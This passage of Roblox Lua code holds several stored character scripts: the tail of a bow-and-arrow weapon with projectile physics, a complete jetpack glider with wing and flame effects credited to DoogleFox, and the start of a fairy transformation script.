                                        v.CFrame = cf * t[v]
                                end
                        end
                        m.CFrame = cf
                end
                move(from)
                local velocity = (to.p-from.p).unit * spd * 500
                local con
                local t = tick()
                con = game:GetService("RunService").Stepped:connect(function()
                        if tick()-t > 25 then
                                con:disconnect()
                                a:Destroy()
                                return
                        end
                        velocity = velocity - Vector3.new(0,196.2/30,0)
                        local newcf = clerp(m.CFrame,CFrame.new(m.Position,m.Position+velocity) * CFrame.Angles(-math.pi/2,0,0),.5) + velocity / 30
                        local hit,ray
                        local rayo = Ray.new(m.Position,newcf.p-m.Position)
                        local ign = {a,char}
                        repeat
                                hit,ray = workspace:FindPartOnRayWithIgnoreList(rayo,ign)
                                if not hit then break end
                                if hit.CanCollide or game:GetService("Players"):GetPlayerFromCharacter(hit.Parent) then
                                        break
                                else
                                        table.insert(ign,hit)
                                        hit = nil
                                end
                        until false
                        if hit then
                                move(newcf-newcf.p+ray)
                                con:disconnect()
                                game:GetService("Debris"):AddItem(a,300)
                                local char = hit.Parent
                                if not hit.Anchored then
                                        local b = hit.CFrame:toObjectSpace(m.CFrame)
                                        for i,v in pairs(a:GetChildren()) do
                                                pcall(function() v.Anchored = false v.CanCollide = true end)
                                        end
                                        weld(hit,m,b)
                                end
                                if game:service'Players':GetPlayerFromCharacter(char) and char:FindFirstChild("Torso") then
                                        if hit.Name:match("Arm") then
                                                local r = char.Torso:FindFirstChild(hit.Name:gsub("Arm","Shoulder"):gsub("Leg","Hip"))
                                                if r then
                                                        ragJoint(hit,r)
                                                end
                                        elseif hit.Name:match("Head") then
                                                for i,v in pairs(char:GetChildren()) do
                                                        local r = char.Torso:FindFirstChild(v.Name:gsub("Arm","Shoulder"):gsub("Leg","Hip"))
                                                        if v:IsA("BasePart") and r then
                                                                ragJoint(v,r,.1)
                                                        elseif v:IsA("Humanoid") then
                                                                v.PlatformStand = true
                                                                v.Changed:connect(function()
                                                                        v.PlatformStand = true
                                                                end)
                                                        end
                                                end
                                                Delay(8,function()
                                                        char:BreakJoints()
                                                end)
                                        end
                                end
                                return
                        else
                                move(newcf)
                        end
                end)
        end))
end
mouse.Button1Down:connect(oc(function()
        if mb then return end
        mb = true
        mup = false
        rls.Part0,rls.Part1 = nil,nil
        ls.Part0,ls.Part1 = tor,la
        ls.Parent = tor
        ls.C0 = ls.C0 * CFrame.Angles(0,0,rls.CurrentAngle)
        rrs.Part0,rrs.Part1 = nil,nil
        rs.Part0,rs.Part1 = tor,ra
        rs.Parent = tor
        rs.C0 = rs.C0 * CFrame.Angles(0,0,rrs.CurrentAngle)
        local hc0 = hold.C0
        local bg = Instance.new("BodyGyro",tor)
        bg.maxTorque = Vector3.new(1,1,1)*9e7
        local ltar = 0
        local rtar = rrs.C0 * CFrame.Angles(0,0,math.rad(90)) * CFrame.Angles(math.rad(70),0,0) + Vector3.new(-.65,.25,-.25)
        local ntar = nk0 * CFrame.Angles(0,0,math.rad(70))
        local htar = hc0 * CFrame.Angles(0,math.rad(10),0)
        local t = tick()
        local iam = 0
        local ham = .3
        local lend = false
        local ended
        local arr = amodel:Clone()
        arr.Parent = model
        arr:MakeJoints()
        hum.WalkSpeed = walkspeed/1.5
        local aw = weld(ra,arr.main,CFrame.new(0,-1,0)*CFrame.Angles(-math.pi/2,0,0),CFrame.new(0,-1.5,0))
        func = function()
                local a = (mouse.Hit.p-tor.CFrame:toWorldSpace(ls.C0).p).unit
                bg.cframe = CFrame.new(tor.Position,mouse.Hit.p*Vector3.new(1,0,1)+tor.Position*Vector3.new(0,1,0)) * CFrame.Angles(0,math.rad(-75),0)
                local b = math.min(.7,math.max(-.7,a.Y))
                ls.C0 = clerp(ls.C0,rls.C0 * CFrame.Angles(math.rad(-90),math.rad(90),math.rad(b*-90)) * CFrame.Angles(math.rad(40),math.rad(0),0) + Vector3.new(math.abs(b)*0,-.25,-.6),.3)
                local c = tor.CFrame:toObjectSpace(han.CFrame*hpos) * CFrame.new(0,0,0)
                local d = Vector3.new(1,.6,0)
                rs.C1 = CFrame.new()
                rs.C0 = clerp(rs.C0,CFrame.new(d,c.p) * CFrame.new(0,0,-(c.p-d).magnitude+.95) * CFrame.Angles(math.pi/2,math.pi/2,0),.3)
                nk.C0 = clerp(nk.C0,ntar * CFrame.Angles(math.rad(math.floor(b*-90)),0,0),.3)
                hold.C0 = clerp(hold.C0,htar,.3)
                for i,v in pairs(W) do
                        -- v.C0 = clerp(v.C0,W0[i] * CFrame.Angles((not mup and (i>3 and 1 or -1)*iam or 0)*.1,0,0),.6)
                        v.C0 = clerp(v.C0,W0[i] * CFrame.Angles((not mup and (i>3 and 1 or -1)*iam or 0)*.1,0,0),.6)
                end
                if not mup then
                        hpos = clerp(hpos,hpos_l * CFrame.new(0,0,iam),.2)
                        if aw then aw.C0 = CFrame.new(Vector3.new(0,-1,0),ra.CFrame:toObjectSpace(han.CFrame*CFrame.new(keeper)).p) * CFrame.Angles(-math.pi/2,0,0) end
                        if tick()-t > .5 and iam < 1 then
                                iam = iam + math.max(0.003,.03-(tick()-t-.5)/70)
                                ham = iam
                                if aw then
                                        aw:Destroy()
                                        arrw.Parent = han
                                        arrw.Part0 = han
                                        arrw.Part1 = arr.main
                                        aw = nil
                                end
                        end
                else
                        hpos = clerp(hpos,hpos_l,ham/math.max(0.01,(hpos.p-hpos_l.p).magnitude))
                        ham = ham * .7
                        if not ended then
                                ended = true
                                if iam > 0 then
                                        arrw.Part1 = nil
                                        ShootArrow(arr,mouse.Hit,iam)
                                        iam = iam + .2
                                        wait(.5)
                                        lend = true
                                else
                                        wait(.1)
                                        arr:Destroy()
                                        lend = true
                                end
                        end
                end
        end
        repeat wait() until lend or tick()-t > 45
        mup = nil
        func = nil
        hum.WalkSpeed = walkspeed
        ls.Part0,ls.Part1 = nil,nil
        ls.Parent = nil
        rls.Part0,rls.Part1 = tor,la
        ls.C0 = rls.C0
        rs.Part0,rs.Part1 = nil,nil
        rs.Parent = nil
        rrs.Part0,rrs.Part1 = tor,ra
        rs.C0 = rrs.C0
        nk.C0 = nk0
        bg:Destroy()
        hold.C0 = hc0
        hpos = hpos_i
        mb = false
end))
rcon = game:GetService("RunService").Stepped:connect(oc(function()
        if not model:IsDescendantOf(workspace) then rcon:disconnect() error() return end
        --local tc = bt.CFrame:toObjectSpace(tt.CFrame)
        --local bc = tt.CFrame:toObjectSpace(bt.CFrame)
        local bm = bt.CFrame:toObjectSpace(han.CFrame*hpos)
        local tm = tt.CFrame:toObjectSpace(han.CFrame*hpos)
        l1w.C0 = CFrame.new(bm.p/2,bm.p) * CFrame.Angles(math.pi/2,0,0)
        l1.Mesh.Scale = Vector3.new(.2,bm.p.magnitude*5,.2)
        l2w.C0 = CFrame.new(tm.p/2,tm.p) * CFrame.Angles(math.pi/2,0,0)
        l2.Mesh.Scale = Vector3.new(.2,tm.p.magnitude*5,.2)
        arrw.C0 = CFrame.new(hpos.p,keeper)*CFrame.new(0,0,-arrow.Size.Y/2) * CFrame.Angles(-math.pi/2,0,0)
        if func then
                func()
        end
end))

]==]

Glider = [==[
--- Made by DoogleFox, Full credit given
local player = game:service("Players").LocalPlayer
local char = player.Character
local cam = workspace.CurrentCamera
local Torsoz = char:findFirstChild("Torso")
local RA = char:findFirstChild("Right Arm")
local LA = char:findFirstChild("Left Arm")
local RL = char:findFirstChild("Right Leg")
local LL = char:findFirstChild("Left Leg")
local H = char:findFirstChild("Head")
local RS = Torsoz:findFirstChild("Right Shoulder")
local LS = Torsoz:findFirstChild("Left Shoulder")
local RH = Torsoz:findFirstChild("Right Hip")
local LH = Torsoz:findFirstChild("Left Hip")
local N = Torsoz:findFirstChild("Neck")
local hu = char:findFirstChild("Humanoid")
local mouse = player:GetMouse()
local Lights = {}
local JetFlames = {}
local LightChangeSpeed = 0.02
local LeftWing
local RightWing
local WingParts = {}
local Flying = false
local JetActive = false
local idle = false
local velo = 0

local bp = Instance.new("BodyPosition")
bp.maxForce = Vector3.new(1/0,1/0,1/0)
bp.D = 100
local bg = Instance.new("BodyGyro")
bg.maxTorque = Vector3.new(1/0,1/0,1/0)
bg.D = 320
local bv = Instance.new("BodyVelocity")
bv.maxForce = Vector3.new(1/0,1/0,1/0)

local P = Instance.new("Part")
P.Anchored = false
P.CanCollide = false
P.Name = "Part"
P.formFactor = "Custom"
P.Size = Vector3.new(0.5,0.5,0.5)
P.Locked = true
P.TopSurface = 0
P.BottomSurface = 0
P.BrickColor = BrickColor.new("Dark stone grey")
P.Transparency = 0

local bp = Instance.new("BodyPosition")
bp.maxForce = Vector3.new(1/0,1/0,1/0)
local bv = Instance.new("BodyVelocity")
bv.maxForce = Vector3.new(1/0,1/0,1/0)
local bg = Instance.new("BodyGyro")
bg.maxTorque = Vector3.new(1/0,1/0,1/0)
bg.D = 300

local wingcolor = "Really black"
local maxvelo = 60
local acceleration = 1

---------------------------------- Design ------------------------------------------
for i, v in pairs(char:children()) do
if v.className == "Model" and v.Name == "Pack" then
v:remove()
end
end
local m = Instance.new("Model", char)
m.Name = "Pack"

local b = P:Clone()
b.Parent = m
local mesh = Instance.new("SpecialMesh", b)
mesh.MeshType = "Head"
mesh.Scale = Vector3.new(2.6,1.2,2.6)
local w = Instance.new("Motor", b)
w.Part0 = Torsoz
w.Part1 = b
w.C0 = CFrame.new(0,0.2,0.35) * CFrame.Angles(math.pi/2,0,0)
local p = P:Clone()
p.Parent = m
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshType = "Head"
mesh.Scale = Vector3.new(2,1.2,2)
local w = Instance.new("Motor", p)
w.Part0 = Torsoz
w.Part1 = p
w.C0 = CFrame.new(0,0.2,0.45) * CFrame.Angles(math.pi/2,0,0)

local p = P:Clone()
p.Parent = m
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshType = "Head"
mesh.Scale = Vector3.new(2.02,1.2,2.02)
local w = Instance.new("Motor", p)
w.Part0 = Torsoz
w.Part1 = p
w.C0 = CFrame.new(0,0.2,0.445) * CFrame.Angles(math.pi/2,0,0)
table.insert(Lights, p)

for i = 1, 3 do
local p = P:Clone()
p.Parent = m
local mesh = Instance.new("CylinderMesh", p)
if i == 2 then
mesh.Scale = Vector3.new(0.4,1.2,0.4)
else
mesh.Scale = Vector3.new(0.35,1,0.35)
end
local w = Instance.new("Motor", p)
w.Part0 = Torsoz
w.Part1 = p
w.C0 = CFrame.new(-0.3+(0.15*i),-0.25,0.55)
if i == 2 then
CenterJet = p
end
local l = P:Clone()
l.Parent = m
local mesh = Instance.new("CylinderMesh", l)
local w = Instance.new("Motor", l)
w.Part0 = p
w.Part1 = l
if i == 2 then
mesh.Scale = Vector3.new(0.405,0.12,0.405)
w.C0 = CFrame.new(0,-0.2,0)
else
mesh.Scale = Vector3.new(0.355,0.12,0.355)
w.C0 = CFrame.new(0,-0.15,0)
end
table.insert(Lights, l)
end

for i = 1, 3 do
local l = P:Clone()
l.Parent = m
local mesh = Instance.new("CylinderMesh", l)
mesh.Scale = Vector3.new(0.12,0.1,0.12)
local w = Instance.new("Motor", l)
w.Part0 = Torsoz
w.Part1 = l
w.C0 = CFrame.new(0.3-(0.15*i),0.3,0.73) * CFrame.Angles(math.pi/2,0,0)
table.insert(Lights, l)
end

------- wings ------
for i = 0, 1 do
local p = P:Clone()
p.Parent = m
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshType = "Sphere"
mesh.Scale = Vector3.new(1,1,1)
local w = Instance.new("Motor", p)
w.Part0 = Torsoz
w.Part1 = p
w.C0 = CFrame.new(0,0.55,0.55) * CFrame.Angles(0,math.pi*i,0)
w.C1 = CFrame.new(0.425,0,0)

local c = P:Clone()
c.Parent = m
c.BrickColor = BrickColor.new(wingcolor)
c.Name = "WingSpine"..i+1
local mesh = Instance.new("BlockMesh", c)
mesh.Scale = Vector3.new(0.26,6,0.2)
local w = Instance.new("Motor", c)
w.Part0 = p
w.Part1 = c
w.C0 = CFrame.Angles(0,0,-math.pi/7)
w.C1 = CFrame.new(0,1.5,0)
w.MaxVelocity = 0.15
if i == 0 then
LeftWing = w
else
RightWing = w
end
table.insert(WingParts, c)
local p = P:Clone()
p.Parent = m
p.BrickColor = BrickColor.new(wingcolor)
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshType = "Wedge"
mesh.Scale = Vector3.new(0.2,4,2.2)
local w = Instance.new("Motor", p)
w.Part0 = c
w.Part1 = p
w.C0 = CFrame.new(0.485,-0.85,0) * CFrame.Angles(math.pi,-math.pi/2,0)
table.insert(WingParts, p)
local p = P:Clone()
p.Parent = m
p.BrickColor = BrickColor.new(wingcolor)
local mesh = Instance.new("BlockMesh", p)
mesh.Scale = Vector3.new(2,0.5,0.2)
local w = Instance.new("Motor", p)
w.Part0 = c
w.Part1 = p
w.C0 = CFrame.new(0.535,0.275,0)
table.insert(WingParts, p)
local p = P:Clone()
p.Parent = m
p.BrickColor = BrickColor.new(wingcolor)
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshType = "Wedge"
mesh.Scale = Vector3.new(0.2,1.5,1)
local w = Instance.new("Motor", p)
w.Part0 = c
w.Part1 = p
w.C0 = CFrame.new(0.785,0.77,0) * CFrame.Angles(0,-math.pi/2,0)
table.insert(WingParts, p)
local p = P:Clone()
p.Parent = m
p.BrickColor = BrickColor.new(wingcolor)
local mesh = Instance.new("BlockMesh", p)
mesh.Scale = Vector3.new(0.94,1.5,0.2)
local w = Instance.new("Motor", p)
w.Part0 = c
w.Part1 = p
w.C0 = CFrame.new(0.3,0.77,0)
table.insert(WingParts, p)
local p = P:Clone()
p.Parent = m
p.BrickColor = BrickColor.new(wingcolor)
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshType = "Wedge"
mesh.Scale = Vector3.new(0.2,1,0.977)
local w = Instance.new("Motor", p)
w.Part0 = c
w.Part1 = p
w.C0 = CFrame.new(0.3,1.385,0) * CFrame.Angles(0,-math.pi/2,0)
table.insert(WingParts, p)

end

local spacedet = 0
local KEYS = {false, false, false, false}
mouse.KeyDown:connect(function(key)
if key == string.char(32) then
if (tick() - spacedet) < 0.3 then
Flying = not Flying
end
spacedet = tick()
end
if key == "w" then
KEYS[1] = true
end
if key == "a" then
KEYS[2] = true
end
if key == "s" then
KEYS[3] = true
end
if key == "d" then
KEYS[4] = true
end
end)

mouse.KeyUp:connect(function(key)
if key == "w" then
KEYS[1] = false
end
if key == "a" then
KEYS[2] = false
end
if key == "s" then
KEYS[3] = false
end
if key == "d" then
KEYS[4] = false
end
end)

local LTrailParts = {}
for i = 1, 21 do
local p = P:Clone()
p.Name = "TrailLine"
p.Anchored = true
p.BrickColor = BrickColor.new(wingcolor)
local mesh = Instance.new("CylinderMesh", p)
mesh.Name = "Mesh"
table.insert(LTrailParts, p)
end
local RTrailParts = {}
for i = 1, 21 do
local p = P:Clone()
p.Name = "TrailLine"
p.Anchored = true
p.BrickColor = BrickColor.new(wingcolor)
local mesh = Instance.new("CylinderMesh", p)
mesh.Name = "Mesh"
table.insert(RTrailParts, p)
end
local Loldpos
local Roldpos

local lightval = {0.1, true}
local refval = 0.1
local firecolors = {"Bright red", "Bright orange"}
local firespeed = 2
local trailnum = 0
local num = 0
local lastflyaction = false
local lastidleaction = false
local idlebp = {0, 0, Torsoz.Position, true}

while true do
num = num + 1
trailnum = trailnum + 1

local unitz = (Torsoz.Position - cam.CoordinateFrame.p).unit
local camsight = Torsoz.Position + (unitz*90)
local diff = camsight.y - Torsoz.Position.y

---------------------- Velocity Changes ----------------------------

----------- W key --------------
if KEYS[1] == true then
velo = velo + acceleration
else
if velo > 0 then
local UP = velo - (acceleration/1.5)
if velo > 0 and UP < 0 then
velo = velo + UP
end
velo = velo - (acceleration/1.5)
end
end
------------ S key -------------
if KEYS[3] == true then
if velo > 0 then
velo = velo - acceleration*1.2
else
velo = velo - (acceleration/1.5)
end
else
if velo < 0 then
local DOWN = velo + acceleration
if velo < 0 and DOWN > 0 then
velo = velo - DOWN
end
velo = velo + acceleration
end
end

local maxvelocalc = maxvelo
if diff < -35 then
if velo > 0 then
maxvelocalc = maxvelo + (maxvelo * -(((diff+35)/110)))
end
elseif diff > 35 then
if velo < 0 then
maxvelocalc = maxvelo + (maxvelo * -((((-diff)+35)/110)))
end
end

if velo >= maxvelocalc then
velo = maxvelocalc
elseif velo <= -maxvelocalc/2 then
velo = -maxvelocalc/2
end

------------------------- Lights ----------------------
if lightval[1] < 0.15 then
lightval[2] = true
elseif lightval[1] > 0.76 then
lightval[2] = false
end
if lightval[2] == true then
lightval[1] = lightval[1] + LightChangeSpeed
else
lightval[1] = lightval[1] - LightChangeSpeed
end
for i, v in pairs(Lights) do
v.Transparency = lightval[1]
if LightChangeSpeed > 0.15 then
v.BrickColor = BrickColor.new("Bright red")
elseif LightChangeSpeed > 0.08 then
v.BrickColor = BrickColor.new("Bright orange")
else
v.BrickColor = BrickColor.new("Bright green")
end
end
--------------------------------------------------------

--------------------- Wing Shines -------------------------
for i, v in pairs(WingParts) do
if Flying == true then
if v.Reflectance > 0.19 then
v.Reflectance = v.Reflectance - 0.035
else
v.Reflectance = 0.19
end
else
if v.Reflectance < 0.43 then
v.Reflectance = v.Reflectance + 0.035
else
v.Reflectance = 0.43
end
end
end
----------------------------------------------------

------------------------ Jet Boost Flames --------------------------------
if num%firespeed == 0 and JetActive == true then
local f = P:Clone()
f.Parent = m
f.Name = "JetFire"
f.BrickColor = BrickColor.new(firecolors[math.random(1, #firecolors)])
f.Transparency = 0.15
f.Anchored = true
f.CFrame = CenterJet.CFrame * CFrame.new(0,-0.3,0)
local mesh = Instance.new("BlockMesh", f)
mesh.Scale = Vector3.new(0.6,0.6,0.6)
table.insert(JetFlames, {mesh, (f.Position - CenterJet.Position).unit})
end

for i, v in pairs(JetFlames) do
if v[1].Parent.Transparency < 0.9 then
v[1].Parent.Transparency = v[1].Parent.Transparency + 0.03
v[1].Scale = v[1].Scale + Vector3.new(0.08,0.08,0.08)
v[1].Parent.CFrame = v[1].Parent.CFrame * CFrame.Angles(math.random(-180,180)/360,math.random(-180,180)/360,math.random(-180,180)/360)
if idle == false then
v[1].Parent.CFrame = v[1].Parent.CFrame + (v[2]*0.1)
else
v[1].Parent.CFrame = v[1].Parent.CFrame + (v[2]*0.24)
end
else
v[1].Parent:remove()
table.remove(JetFlames, i)
end
end
--------------------------------------------------

------------------------------ Flying --------------------------------

if Flying == true then

if lastflyaction == false then
bg = Instance.new("BodyGyro", Torsoz)
bg.maxTorque = Vector3.new(1/0,1/0,1/0)
bg.D = 350
end


--------- idle checker --------
if (velo > -0.5 and velo < 0.5) and (KEYS[1] == false and KEYS[3] == false) then
idle = true
if lastidleaction == false then
idlebp[3] = Torsoz.Position
end
else
idle = false
end

--------- idle float anim -----------
if idle == true then
if lastidleaction == false then
idlebp = {0, 0, Torsoz.Position, true}
end
if idlebp[2] >= 0.3 then
idlebp[4] = false
elseif idlebp[2] <= -0.3 then
idlebp[4] = true
end
if idlebp[4] == false then
idlebp[2] = idlebp[2] - 0.02
elseif idlebp[4] == true then
idlebp[2] = idlebp[2] + 0.02
end
idlebp[1] = idlebp[1] + idlebp[2]
end

---------------- Body Objects ----------------------

if idle == true then
if lastidleaction == false then
bv:remove()
bp:remove()
bp = Instance.new("BodyPosition")
end
hu.PlatformStand = true
bp.Parent = Torsoz
bp.maxForce = Vector3.new(1/0,1/0,1/0)
bp.D = 100
bp.position = idlebp[3] + Vector3.new(0,idlebp[1],0)
bg.cframe = CFrame.new(Torsoz.Position, Torsoz.Position + cam.CoordinateFrame.lookVector)
else
if lastidleaction == true then
bp:remove()
bv:remove()
bv = Instance.new("BodyVelocity")
end
hu.PlatformStand = true
bv.Parent = Torsoz
bv.maxForce = Vector3.new(1/0,1/0,1/0)
local torpos = Torsoz.Position + (cam.CoordinateFrame.lookVector * 10)
bv.velocity = CFrame.new(Torsoz.Position+Vector3.new(0,-2,0), torpos).lookVector*velo
local cvelo = velo
if velo > maxvelo then
cvelo = maxvelo
end
bg.cframe = CFrame.new(Torsoz.Position, Torsoz.Position + cam.CoordinateFrame.lookVector) * CFrame.Angles((-math.pi/2.3)*(cvelo/maxvelo),0,0)

end

elseif Flying == false then
if lastflyaction == true then
hu.PlatformStand = false
bp.Parent = nil
bg.Parent = nil
bv.Parent = nil
idle = false
end

end --- if flying == true

-----------------------------------------

----------------------- Auto Anims -----------------------
if Flying == true then
if diff > 40 then
LeftWing.DesiredAngle = -0.3
RightWing.DesiredAngle = -0.3
LightChangeSpeed = 0.24
JetActive = true
ActiveTrails = true
firespeed = 1
elseif diff > -22 and diff < 40 then
LeftWing.DesiredAngle = -math.pi/2.5
RightWing.DesiredAngle = -math.pi/2.5
LightChangeSpeed = 0.09
JetActive = true
ActiveTrails = true
firespeed = 2
elseif diff > -60 and diff < -22 then
LeftWing.DesiredAngle = -math.pi/2.5
RightWing.DesiredAngle = -math.pi/2.5
LightChangeSpeed = 0.04
JetActive = false
ActiveTrails = true
elseif diff < -60 then
LeftWing.DesiredAngle = -0.1
RightWing.DesiredAngle = -0.1
LightChangeSpeed = 0.04
JetActive = false
ActiveTrails = true
end
if idle == true then
LeftWing.DesiredAngle = -math.pi/2.2
RightWing.DesiredAngle = -math.pi/2.2
LightChangeSpeed = 0.09
JetActive = true
ActiveTrails = false
firespeed = 1
end
if diff < -40 and velo < 0 then
LeftWing.DesiredAngle = -0.3
RightWing.DesiredAngle = -0.3
LightChangeSpeed = 0.24
JetActive = true
ActiveTrails = true
firespeed = 1
elseif (diff < -22 and diff > -40) and velo < 0 then
LeftWing.DesiredAngle = -math.pi/2.5
RightWing.DesiredAngle = -math.pi/2.5
LightChangeSpeed = 0.09
JetActive = true
ActiveTrails = true
firespeed = 2
end
else
LeftWing.DesiredAngle = 0
RightWing.DesiredAngle = 0
JetActive = false
ActiveTrails = false
LightChangeSpeed = 0.02
end
-----------------------------------------

------------------------ Trail lines ------------------------------
if num%2 == 0 then

if Flying == true and ActiveTrails == true then
if velo > 0 then
if velo < acceleration*7 then
Loldpos = nil
Roldpos = nil
end
elseif velo < 0 then
if velo > -acceleration*7 then
Loldpos = nil
Roldpos = nil
end
end

if Loldpos ~= nil then
local newpos = (LeftWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
local t = LTrailParts[trailnum]
t.Parent = m
t.Anchored = true
t.BrickColor = BrickColor.new(wingcolor)
t.CFrame = CFrame.new((Loldpos+newpos)/2,Loldpos) * CFrame.Angles(math.pi/2,0,0)
local mesh = Instance.new("CylinderMesh", t)
mesh.Name = "Mesh"
mesh.Scale = Vector3.new(0.2,(Loldpos - newpos).magnitude*2,0.2)
end
if Roldpos ~= nil then
local newpos = (RightWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
local t = RTrailParts[trailnum]
t.Parent = m
t.Anchored = true
t.BrickColor = BrickColor.new(wingcolor)
t.CFrame = CFrame.new((Roldpos+newpos)/2,Roldpos) * CFrame.Angles(math.pi/2,0,0)
local mesh = Instance.new("CylinderMesh", t)
mesh.Name = "Mesh"
mesh.Scale = Vector3.new(0.2,(Roldpos - newpos).magnitude*2,0.2)
end
Loldpos = (LeftWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
Roldpos = (RightWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p

else
LTrailParts[trailnum].Parent = nil
RTrailParts[trailnum].Parent = nil
Loldpos = (LeftWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
Roldpos = (RightWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
end

end

if trailnum == #LTrailParts-1 then
trailnum = 0
end

if num%800 == 0 then
for i, v in pairs(LTrailParts) do
game:service("Debris"):AddItem(v, 0.7)
end
for i, v in pairs(RTrailParts) do
game:service("Debris"):AddItem(v, 0.7)
end
LTrailParts = {}
for i = 1, 21 do
local p = P:Clone()
p.Name = "LTrailLine"
p.Anchored = true
p.BrickColor = BrickColor.new(wingcolor)
local mesh = Instance.new("CylinderMesh", p)
mesh.Name = "Mesh"
table.insert(LTrailParts, p)
end
RTrailParts = {}
for i = 1, 21 do
local p = P:Clone()
p.Name = "RTrailLine"
p.Anchored = true
p.BrickColor = BrickColor.new(wingcolor)
local mesh = Instance.new("CylinderMesh", p)
mesh.Name = "Mesh"
table.insert(RTrailParts, p)
end
end

----------------------------------------------

lastflyaction = Flying
lastidleaction = idle
wait(0.03)
end
]==]

Fairy = [==[
local plr = game:service'Players'.LocalPlayer
local m = plr:GetMouse()
local char = plr.Character
local runservice = game:service'RunService'
local modelScale = 1/5


pcall(function() local a = script.Parent.FaerieScript if a ~= script then a:Destroy() end end)
pcall(function() local a = char.Animate if a ~= script then a.Disabled = true a:Destroy() end end)
script.Name = "FaerieScript"

function weld(a,b,c,d)
        local w = Instance.new("Weld",a)
        w.Part0 = a
        w.Part1 = b
        w.C0 = c or CFrame.new()
        w.C1 = d or CFrame.new()
        return w
end

function lerp(a,b,c)
    return a+(b-a)*c
end

do  -- Ignore my clerp stuff stolen from stravvy
        local function QuaternionFromCFrame(cf)
                local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
                local trace = m00 + m11 + m22
                if trace > 0 then
                        local s = math.sqrt(1 + trace)
                        local recip = 0.5/s
                        return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
                else
                        local i = 0
                        if m11 > m00 then
                                i = 1
                        end
                        if m22 > (i == 0 and m00 or m11) then
                                i = 2
                        end
                        if i == 0 then
                                local s = math.sqrt(m00-m11-m22+1)
                                local recip = 0.5/s
                                return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
                        elseif i == 1 then
                                local s = math.sqrt(m11-m22-m00+1)
                                local recip = 0.5/s
                                return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
                        elseif i == 2 then
                                local s = math.sqrt(m22-m00-m11+1)
                                local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
                        end
                end
        end
        local function QuaternionToCFrame(px, py, pz, x, y, z, w)
                local xs, ys, zs = x + x, y + y, z + z
                local wx, wy, wz = w*xs, w*ys, w*zs
                local xx = x*xs
                local xy = x*ys
                local xz = x*zs
                local yy = y*ys
                local yz = y*zs
                local zz = z*zs
                return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
                end
        local function QuaternionSlerp(a, b, t)
                local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
                local startInterp, finishInterp;
                if cosTheta >= 0.0001 then
                        if (1 - cosTheta) > 0.0001 then
                                local theta = math.acos(cosTheta)
                                local invSinTheta = 1/math.sin(theta)
                                startInterp = math.sin((1-t)*theta)*invSinTheta
                                finishInterp = math.sin(t*theta)*invSinTheta
                        else
                                startInterp = 1-t
                                finishInterp = t
                        end
                else
                        if (1+cosTheta) > 0.0001 then
                                local theta = math.acos(-cosTheta)
                                local invSinTheta = 1/math.sin(theta)
                                startInterp = math.sin((t-1)*theta)*invSinTheta
                                finishInterp = math.sin(t*theta)*invSinTheta
                        else
                                startInterp = t-1
                                finishInterp = t
                        end
                end
                return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
        end
        function clerp(a,b,t)
                local qa = {QuaternionFromCFrame(a)}
                local qb = {QuaternionFromCFrame(b)}
                local ax, ay, az = a.x, a.y, a.z
                local bx, by, bz = b.x, b.y, b.z
                local _t = 1-t
                return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
        end
end

for i,v in pairs(char:GetChildren()) do
        if v:IsA("Hat") or v:IsA("BodyColors") or v:IsA("Clothing") or v:IsA("ShirtGraphic") then
                v:Destroy()
        end
end
Instance.new("Hat",char)
local root = char.HumanoidRootPart
local tw = root.RootJoint
local tor = char.Torso
local hd = char.Head
local hum = char.Humanoid
hum.Health = 40
hum.MaxHealth = 40
hum.WalkSpeed = 12
local rl,ll = char["Right Leg"],char["Left Leg"]
local ra,la = char["Right Arm"],char["Left Arm"]

local c0 = {
        rs = CFrame.new(1,.5,0),
        ls = CFrame.new(-1,.5,0),
        rh = CFrame.new(.5,-1,0),
        lh = CFrame.new(-.5,-1,0),
        nk = CFrame.new(0,1,0),
        tw = CFrame.new(0,0,0)*CFrame.Angles(0,0,0),
}
local c1 = {
        rs = CFrame.new(-.5,.5,0),
        ls = CFrame.new(.5,.5,0),
        rh = CFrame.new(0,1,0),
        lh = CFrame.new(0,1,0),
        nk = CFrame.new(0,-.5,0),
        tw = CFrame.new(0,0,0)*CFrame.Angles(0,0,0)
}

local rs = tor["Right Shoulder"]
local ls = tor["Left Shoulder"]
local rh = tor["Right Hip"]
local lh = tor["Left Hip"]
local nk = tor["Neck"]
for i,v in pairs(tor:GetChildren()) do
        if v:IsA("Motor6D") then
                v.DesiredAngle = 0
                v.MaxVelocity = 0
                v.CurrentAngle = 0
        end
end




pcall(function() tor.roblox:Destroy() end)

pcall(function() char.Faerie:Destroy() end)
local model = Instance.new("Model",char)
model.Name = "Faerie"

local BasePart = Instance.new("Part")
BasePart.CanCollide = false
BasePart.Anchored = false
BasePart.FormFactor = "Custom"
BasePart.Locked = true
BasePart.Size = Vector3.new()
BasePart.TopSurface,BasePart.BottomSurface,BasePart.LeftSurface,BasePart.RightSurface,BasePart.FrontSurface,BasePart.BackSurface = 10,10,10,10,10,10
BasePart:BreakJoints()

function NP(par)
    local p = BasePart:Clone()
    p.Parent = par or model
    return p
end

local w1 = NP()
w1.Transparency = .1
local w1m = Instance.new("SpecialMesh",w1)
